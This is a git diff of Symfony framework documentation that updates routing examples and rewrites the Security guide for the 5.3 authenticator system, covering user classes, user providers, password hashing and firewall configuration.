+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+            <import resource="../../src/Controller/" type="annotation">
+                <host locale="en">https://www.example.com</host>
+                <host locale="nl">https://www.example.nl</host>
+            </import>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes/annotations.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        return function (RoutingConfigurator $routes) {
+            $routes->import('../../src/Controller/', 'annotation')
+                ->host([
+                    'en' => 'https://www.example.com',
+                    'nl' => 'https://www.example.nl',
                 ])
             ;
         };
@@ -2200,8 +2341,8 @@ Stateless Routes
     The ``stateless`` option was introduced in Symfony 5.1.
 
 Sometimes, when an HTTP response should be cached, it is important to ensure
-that can happen. However, whenever session is started during a request, Symfony
-turns the response into a private non-cacheable response.
+that can happen. However, whenever a session is started during a request,
+Symfony turns the response into a private non-cacheable response.
 
 For details, see :doc:`/http_cache`.
 
@@ -2280,6 +2421,7 @@ session shouldn't be used when matching a request:
 
 Now, if the session is used, the application will report it based on your
 ``kernel.debug`` parameter:
+
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 
@@ -2330,7 +2472,7 @@ use the ``generateUrl()`` helper::
 
             // generate a URL with route arguments
             $userProfilePage = $this->generateUrl('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2349,12 +2491,20 @@ use the ``generateUrl()`` helper::
 
     If you pass to the ``generateUrl()`` method some parameters that are not
     part of the route definition, they are included in the generated URL as a
-    query string:::
+    query string::
 
         $this->generateUrl('blog', ['page' => 2, 'category' => 'Symfony']);
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
+.. caution::
+
+    While objects are converted to string when used as placeholders, they are not
+    converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
+    as value of an extra parameter, you need to explicitly convert it to a string::
+
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
+
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 follow the instructions of the next section.
@@ -2392,7 +2542,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2429,6 +2579,8 @@ If you need to generate URLs dynamically or if you are using pure JavaScript
 code, this solution doesn't work. In those cases, consider using the
 `FOSJsRoutingBundle`_.
 
+.. _router-generate-urls-commands:
+
 Generating URLs in Commands
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2473,12 +2625,11 @@ The solution is to configure the ``default_uri`` option to define the
     .. code-block:: php
 
         // config/packages/routing.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                // ...
-                'default_uri' => "https://example.org/my/path/",
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()->defaultUri('https://example.org/my/path/');
+        };
 
 .. versionadded:: 5.1
 
@@ -2514,7 +2665,7 @@ Now you'll get the expected results when generating URLs in your commands::
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2579,7 +2730,7 @@ method) or globally with these configuration parameters:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -2629,12 +2780,13 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
         {
             #[Route('/login', name: 'login', schemes: ['https'])]
-            public function login()
+            public function login(): Response
             {
                 // ...
             }
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index a339ec74f61..40e884a07e8 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -309,7 +309,7 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/security.rst b/security.rst
index 17940135f73..912ad871b1d 100644
--- a/security.rst
+++ b/security.rst
@@ -4,157 +4,270 @@
 Security
 ========
 
-.. admonition:: Screencast
-    :class: screencast
 
-    Do you prefer video tutorials? Check out the `Symfony Security screencast series`_.
+Symfony provides many tools to secure your application. Some HTTP-related
+security tools, like :doc:`secure session cookies </session>` and
+:doc:`CSRF protection </security/csrf>` are provided by default. The
+SecurityBundle, which you will learn about in this guide, provides all
+authentication and authorization features needed to secure your
+application.
 
-Symfony's security system is incredibly powerful, but it can also be confusing
-to set up. Don't worry! In this article, you'll learn how to set up your app's
-security system step-by-step:
-
-#. :ref:`Installing security support <security-installation>`;
+.. _security-installation:
 
-#. :ref:`Create your User Class <create-user-class>`;
+To get started, install the SecurityBundle:
 
-#. :ref:`Authentication & Firewalls <security-yaml-firewalls>`;
+.. code-block:: terminal
 
-#. :ref:`Denying access to your app (authorization) <security-authorization>`;
+    $ composer require symfony/security-bundle
 
-#. :ref:`Fetching the current User object <retrieving-the-user-object>`.
+If you have :ref:`Symfony Flex <symfony-flex>` installed, this also
+creates a ``security.yaml`` configuration file for you:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        password_hashers:
+            Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
+        # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
+        providers:
+            users_in_memory: { memory: null }
+        firewalls:
+            dev:
+                pattern: ^/(_(profiler|wdt)|css|images|js)/
+                security: false
+            main:
+                lazy: true
+                provider: users_in_memory
+
+                # activate different ways to authenticate
+                # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                # https://symfony.com/doc/current/security/impersonating_user.html
+                # switch_user: true
+
+        # Easy way to control access for large sections of your site
+        # Note: Only the *first* access control that matches will be used
+        access_control:
+            # - { path: ^/admin, roles: ROLE_ADMIN }
+            # - { path: ^/profile, roles: ROLE_USER }
+
+That's a lot of config! In the next sections, the three main elements are
+discussed:
+
+`The User`_ (``providers``)
+    Any secured section of your application needs some concept of
+    a user. The user provider loads users from any storage (e.g. the
+    database) based on a "user identifier" (e.g. the user's email address);
+
+`The Firewall`_ & `Authenticating Users`_ (``firewalls``)
+    The firewall is the core of securing your application. Every request
+    within the firewall is checked if it needs an authenticated user. The
+    firewall also takes care of authenticating this user (e.g. using a
+    login form);
+
+`Access Control (Authorization)`_ (``access_control``)
+    Using access control and the authorization checker, you control the
+    required permissions to perform a specific action or visit a specific
+    URL.
+
+.. caution::
+
+    Symfony Security has received major changes in 5.3. This article
+    explains the *new authenticator-based* system (identified by the
+    ``enable_authenticator_manager: true`` config option).
+
+    Refer to the `5.2 version of this documentation`_ if you're still using
+    the legacy security system.
 
-A few other important topics are discussed after.
+.. _create-user-class:
+.. _a-create-your-user-class:
 
-.. _security-installation:
+The User
+--------
 
-1) Installation
----------------
+Permissions in Symfony are always linked to a user object. If you need to
+secure (parts of) your application, you need to create a user class. This
+is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
+This is often a Doctrine entity, but you can also use a dedicated
+Security user class.
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the security feature before using it:
+The easiest way to generate a user class is using the ``make:user`` command
+from the `MakerBundle`_:
 
 .. code-block:: terminal
 
-    $ composer require symfony/security-bundle
+    $ php bin/console make:user
+     The name of the security user class (e.g. User) [User]:
+     > User
 
+     Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
+     > yes
 
-.. tip::
+     Enter a property name that will be the unique "display" name for the user (e.g. email, username, uuid) [email]:
+     > email
 
-    A :doc:`new experimental Security </security/experimental_authenticators>`
-    was introduced in Symfony 5.1, which will eventually replace security in
-    Symfony 6.0. This system is almost fully backwards compatible with the
-    current Symfony security, add this line to your security configuration to start
-    using it:
+     Will this app need to hash/check user passwords? Choose No if passwords are not needed or will be checked/hashed by some other system (e.g. a single sign-on server).
 
-    .. configuration-block::
+     Does this app need to hash/check user passwords? (yes/no) [yes]:
+     > yes
 
-        .. code-block:: yaml
+     created: src/Entity/User.php
+     created: src/Repository/UserRepository.php
+     updated: src/Entity/User.php
+     updated: config/packages/security.yaml
 
-            # config/packages/security.yaml
-            security:
-                enable_authenticator_manager: true
-                # ...
+.. code-block:: php
 
-        .. code-block:: xml
+    // src/Entity/User.php
+    namespace App\Entity;
 
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+    use App\Repository\UserRepository;
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
 
-                <config enable-authenticator-manager="true">
-                    <!-- ... -->
-                </config>
-            </srv:container>
+    /**
+     * @ORM\Entity(repositoryClass=UserRepository::class)
+     */
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        /**
+         * @ORM\Id
+         * @ORM\GeneratedValue
+         * @ORM\Column(type="integer")
+         */
+        private $id;
 
-        .. code-block:: php
+        /**
+         * @ORM\Column(type="string", length=180, unique=true)
+         */
+        private $email;
 
-            // config/packages/security.php
-            $container->loadFromExtension('security', [
-                'enable_authenticator_manager' => true,
-                // ...
-            ]);
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
 
-.. _initial-security-yml-setup-authentication:
-.. _initial-security-yaml-setup-authentication:
-.. _create-user-class:
+        /**
+         * @var string The hashed password
+         * @ORM\Column(type="string")
+         */
+        private $password;
 
-2a) Create your User Class
---------------------------
+        public function getId(): ?int
+        {
+            return $this->id;
+        }
 
-No matter *how* you will authenticate (e.g. login form or API tokens) or *where*
-your user data will be stored (database, single sign-on), the next step is always the same:
-create a "User" class. The easiest way is to use the `MakerBundle`_.
+        public function getEmail(): ?string
+        {
+            return $this->email;
+        }
 
-Let's assume that you want to store your user data in the database with Doctrine:
+        public function setEmail(string $email): self
+        {
+            $this->email = $email;
 
-.. code-block:: terminal
+            return $this;
+        }
 
-    $ php bin/console make:user
+        /**
+         * The public representation of the user (e.g. a username, an email address, etc.)
+         *
+         * @see UserInterface
+         */
+        public function getUserIdentifier(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @deprecated since Symfony 5.3
+         */
+        public function getUsername(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @see UserInterface
+         */
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
 
-    The name of the security user class (e.g. User) [User]:
-    > User
+            return array_unique($roles);
+        }
 
-    Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
-    > yes
+        public function setRoles(array $roles): self
+        {
+            $this->roles = $roles;
 
-    Enter a property name that will be the unique "display" name for the user (e.g.
-    email, username, uuid [email]
-    > email
+            return $this;
+        }
 
-    Does this app need to hash/check user passwords? (yes/no) [yes]:
-    > yes
+        /**
+         * @see PasswordAuthenticatedUserInterface
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
 
-    created: src/Entity/User.php
-    created: src/Repository/UserRepository.php
-    updated: src/Entity/User.php
-    updated: config/packages/security.yaml
+        public function setPassword(string $password): self
+        {
+            $this->password = $password;
 
-That's it! The command asks several questions so that it can generate exactly what
-you need. The most important is the ``User.php`` file itself. The *only* rule about
-your ``User`` class is that it *must* implement :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-Feel free to add *any* other fields or logic you need. If your ``User`` class is
-an entity (like in this example), you can use the :ref:`make:entity command <doctrine-add-more-fields>`
-to add more fields. Also, make sure to make and run a migration for the new entity:
+            return $this;
+        }
 
-.. code-block:: terminal
+        /**
+         * Returning a salt is only needed, if you are not using a modern
+         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
+         *
+         * @see UserInterface
+         */
+        public function getSalt(): ?string
+        {
+            return null;
+        }
 
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
+        /**
+         * @see UserInterface
+         */
+        public function eraseCredentials()
+        {
+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
-.. _security-user-providers:
-.. _where-do-users-come-from-user-providers:
+.. versionadded:: 5.3
 
-2b) The "User Provider"
------------------------
+    The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+    interface and ``getUserIdentifier()`` method were introduced in Symfony 5.3.
 
-In addition to your ``User`` class, you also need a "User provider": a class that
-helps with a few things, like reloading the User data from the session and some
-optional features, like :doc:`remember me </security/remember_me>` and
-:doc:`impersonation </security/impersonating_user>`.
+If your user is a Doctrine entity, like in the example above, don't forget
+to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`:
 
-Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key.
+.. code-block:: terminal
 
-If your ``User`` class is an entity, you don't need to do anything else. But if
-your class is *not* an entity, then ``make:user`` will also have generated a
-``UserProvider`` class that you need to finish. Learn more about user providers
-here: :doc:`User Providers </security/user_provider>`.
+    $ php bin/console make:migration
+    $ php bin/console doctrine:migrations:migrate
 
-.. _security-encoding-user-password:
-.. _encoding-the-user-s-password:
+.. _where-do-users-come-from-user-providers:
+.. _security-user-providers:
 
-2c) Encoding Passwords
-----------------------
+Loading the User: The User Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are encoded in ``security.yaml``. The ``make:user``
-command will pre-configure this for you:
+Besides creating the entity, the ``make:user`` command also adds config
+for a user provider in your security configuration:
 
 .. configuration-block::
 
@@ -164,18 +277,16 @@ command will pre-configure this for you:
         security:
             # ...
 
-            encoders:
-                # use your user class name here
-                App\Entity\User:
-                    # Use native password encoder
-                    # This value auto-selects the best possible hashing algorithm
-                    # (i.e. Sodium when available).
-                    algorithm: auto
+            providers:
+                app_user_provider:
+                    entity:
+                        class: App\Entity\User
+                        property: email
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -187,11 +298,9 @@ command will pre-configure this for you:
             <config>
                 <!-- ... -->
 
-                <encoder class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"/>
-
-                <!-- ... -->
+                <provider name="app_user_provider">
+                    <entity class="App\Entity\User" property="email"/>
+                </provider>
             </config>
         </srv:container>
 
@@ -199,88 +308,210 @@ command will pre-configure this for you:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ]
-            ],
-
+        return static function (SecurityConfig $security) {
             // ...
-        ]);
 
-Now that Symfony knows *how* you want to encode the passwords, you can use the
-``UserPasswordEncoderInterface`` service to do this before saving your users to
-the database.
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email')
+            ;
+        };
 
-.. _user-data-fixture:
+This user provider knows how to (re)load users from a storage (e.g. a database)
+based on a "user identifier" (e.g. the user's email address or username).
+The configuration above uses Doctrine to load the ``User`` entity using the
+``email`` property as "user identifier".
+
+User providers are used in a couple places during the security lifecycle:
+
+**Load the User based on an identifier**
+    During login (or any other authenticator), the provider loads the user
+    based on the user identifier. Some other features, like
+    :doc:`user impersonation </security/impersonating_user>` and
+    :doc:`Remember Me </security/remember_me>` also use this.
+
+**Reload the User from the session**
+    At the beginning of each request, the user is loaded from the
+    session (unless your firewall is ``stateless``). The provider
+    "refreshes" the user (e.g. the database is queried again for fresh
+    data) to make sure all user information is up to date (and if
+    necessary, the user is de-authenticated/logged out if something
+    changed). See :ref:`user_session_refresh` for more information about
+    this process.
+
+Symfony comes with several built-in user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+The built-in user providers cover the most common needs for applications, but you
+can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
-For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can
-create dummy database users:
+.. note::
 
-.. code-block:: terminal
+    Sometimes, you need to inject the user provider in another class (e.g.
+    in your custom authenticator). All user providers follow this pattern
+    for their service ID: ``security.user.provider.concrete.<your-provider-name>``
+    (where ``<your-provider-name>`` is the configuration key, e.g.
+    ``app_user_provider``). If you only have one user provider, you can autowire
+    it using the :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`
+    type-hint.
 
-    $ php bin/console make:fixtures
+.. _security-encoding-user-password:
 
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > UserFixtures
+Registering the User: Hashing Passwords
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use this service to encode the passwords:
+Many applications require a user to log in with a password. For these
+applications, the SecurityBundle provides password hashing and verification
+functionality.
 
-.. code-block:: diff
+First, make sure your User class implements the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`::
 
-    // src/DataFixtures/UserFixtures.php
+    // src/Entity/User.php
 
-    + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
-    class UserFixtures extends Fixture
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-    +     private $passwordEncoder;
-
-    +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
-    +     {
-    +         $this->passwordEncoder = $passwordEncoder;
-    +     }
+        // ...
 
-        public function load(ObjectManager $manager)
+        /**
+         * @return string the hashed password for this user
+         */
+        public function getPassword(): string
         {
-            $user = new User();
+            return $this->password;
+        }
+    }
+
+Then, configure which password hasher should be used for this class. If your
+``security.yaml`` file wasn't already pre-configured, then ``make:user`` should
+have done this for you:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                # Use native password hasher, which auto-selects and migrates the best
+                # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- Use native password hasher, which auto-selects and migrates the best
+                     possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
+                <password-hasher class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" algorithm="auto"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-    +         $user->setPassword($this->passwordEncoder->encodePassword(
-    +             $user,
-    +             'the_new_password'
-    +         ));
+            // Use native password hasher, which auto-selects and migrates the best
+            // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+Now that Symfony knows *how* you want to hash the passwords, you can use the
+``UserPasswordHasherInterface`` service to do this before saving your users to
+the database::
+
+    // src/Controller/RegistrationController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class RegistrationController extends AbstractController
+    {
+        public function index(UserPasswordHasherInterface $passwordHasher)
+        {
+            // ... e.g. get the user data from a registration form
+            $user = new User(...);
+            $plaintextPassword = ...;
+
+            // hash the password (based on the security.yaml config for the $user class)
+            $hashedPassword = $passwordHasher->hashPassword(
+                $user,
+                $plaintextPassword
+            );
+            $user->setPassword($hashedPassword);
 
             // ...
         }
     }
 
-You can manually encode a password by running:
+.. tip::
 
-.. code-block:: terminal
+    The ``make:registration-form`` maker command can help you set-up the
+    registration controller and add features like email address
+    verification using the `SymfonyCastsVerifyEmailBundle`_.
 
-    $ php bin/console security:encode-password
+    .. code-block:: terminal
 
-.. _security-yaml-firewalls:
-.. _security-firewalls:
-.. _firewalls-authentication:
+        $ composer require symfonycasts/verify-email-bundle
+        $ php bin/console make:registration-form
 
-3a) Authentication & Firewalls
-------------------------------
+You can also manually hash a password by running:
 
-.. versionadded:: 5.1
+.. code-block:: terminal
+
+    $ php bin/console security:hash-password
 
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
+Read more about all available hashers and password migration in
+:doc:`security/passwords`.
 
-The security system is configured in ``config/packages/security.yaml``. The *most*
-important section is ``firewalls``:
+.. _firewalls-authentication:
+.. _a-authentication-firewalls:
+
+The Firewall
+------------
+
+The ``firewalls`` section of ``config/packages/security.yaml`` is the *most*
+important section. A "firewall" is your authentication system: the firewall
+defines which parts of your application are secured and *how* your users
+will be able to authenticate (e.g. login form, API token, etc).
 
 .. configuration-block::
 
@@ -288,18 +519,25 @@ important section is ``firewalls``:
 
         # config/packages/security.yaml
         security:
+            # ...
             firewalls:
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: true
                     lazy: true
+                    provider: users_in_memory
+
+                    # activate different ways to authenticate
+                    # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                    # https://symfony.com/doc/current/security/impersonating_user.html
+                    # switch_user: true
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -309,63 +547,69 @@ important section is ``firewalls``:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
+                <!-- ... -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
                 <firewall name="main"
-                    anonymous="true"
                     lazy="true"/>
-                </firewall>
+
+                <!-- activate different ways to authenticate
+                     https://symfony.com/doc/current/security.html#firewalls-authentication -->
+
+                <!-- https://symfony.com/doc/current/security/impersonating_user.html -->
+                <!-- <switch-user/> -->
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'dev' => [
-                    'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
-                    'security' => false,
-                ],
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                ],
-            ],
-        ]);
-
-A "firewall" is your authentication system: the configuration below it defines
-*how* your users will be able to authenticate (e.g. login form, API token, etc).
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('dev')
+                ->pattern('^/(_(profiler|wdt)|css|images|js)/')
+                ->security(false)
+            ;
+
+            $security->firewall('main')
+                ->lazy(true)
+
+                // activate different ways to authenticate
+                // https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                // https://symfony.com/doc/current/security/impersonating_user.html
+                // ->switchUser(true)
+            ;
+        };
 
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
-to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`).
-The ``dev`` firewall is really a fake firewall: it makes sure that you don't
-accidentally block Symfony's dev tools - which live under URLs like ``/_profiler``
-and ``/_wdt``.
+to find the first match (you can also
+:doc:`match by host or other things </security/firewall_restriction>`).
+
+The ``dev`` firewall is really a fake firewall: it makes sure that you
+don't accidentally block Symfony's dev tools - which live under URLs like
+``/_profiler`` and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
-user is unknown (i.e. not logged in) when they first visit your website. The
-``anonymous`` mode, if enabled, is used for these requests.
+in other words many ways to ask the question "Who are you?".
 
-In fact, if you go to the homepage right now, you *will* have access and you'll
-see that you're "authenticated" as ``anon.``. The firewall verified that it
-does not know your identity, and so, you are anonymous:
+Often, the user is unknown (i.e. not logged in) when they first visit your
+website. If you visit your homepage right now, you *will* have access and
+you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-It means any request can have an anonymous token to access some resource,
-while some actions (i.e. some pages or buttons) can still require specific
-privileges. A user can then access a form login without being authenticated
-as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
-
-You'll learn later how to deny access to certain URLs, controllers, or part of
-templates.
+Visiting a URL under a firewall doesn't necessarily require you to be authenticated
+(e.g. the login form has to be accessible or some parts of your application
+are public). You'll learn how to restrict access to URLs, controllers or
+anything else within your firewall in the :ref:`access control
+<security-access-control>` section.
 
 .. tip::
 
@@ -376,7 +620,8 @@ templates.
 
 .. note::
 
-    If you do not see the toolbar, install the :doc:`profiler </profiler>` with:
+    If you do not see the toolbar, install the :doc:`profiler </profiler>`
+    with:
 
     .. code-block:: terminal
 
@@ -385,117 +630,69 @@ templates.
 Now that we understand our firewall, the next step is to create a way for your
 users to authenticate!
 
-.. _security-form-login:
+.. _security-authenticators:
 
-3b) Authenticating your Users
------------------------------
+Authenticating Users
+--------------------
 
-Authentication in Symfony can feel a bit "magic" at first. That's because, instead
-of building a route & controller to handle login, you'll activate an
-*authentication provider*: some code that runs automatically *before* your controller
-is called.
+During authentication, the system tries to find a matching user for the
+visitor of the webpage. Traditionally, this was done using a login form or
+a HTTP basic dialog in the browser. However, the SecurityBundle comes with
+many other authenticators:
 
-Symfony has several :doc:`built-in authentication providers </security/auth_providers>`.
-If your use-case matches one of these *exactly*, great! But, in most cases - including
-a login form - *we recommend building a Guard Authenticator*: a class that allows
-you to control *every* part of the authentication process (see the next section).
+* `Form Login`_
+* `JSON Login`_
+* `HTTP Basic`_
+* `Login Link`_
+* `X.509 Client Certificates`_
+* `Remote users`_
+* :doc:`Custom Authenticators </security/custom_authenticator>`
 
 .. tip::
 
-    If your application logs users in via a third-party service such as Google,
-    Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ community
-    bundle.
-
-Guard Authenticators
-~~~~~~~~~~~~~~~~~~~~
+    If your application logs users in via a third-party service such as
+    Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
+    community bundle.
 
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
+.. _security-form-login:
 
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+Form Login
+~~~~~~~~~~
 
-.. _`security-authorization`:
-.. _denying-access-roles-and-other-authorization:
+Most websites have a login form where users authenticate using an
+identifier (e.g. email address or username) and a password. This
+functionality is provided by the *form login authenticator*.
 
-4) Denying Access, Roles and other Authorization
-------------------------------------------------
+First, create a controller for the login form:
 
-Users can now log in to your app using your login form. Great! Now, you need to learn
-how to deny access and work with the User object. This is called **authorization**,
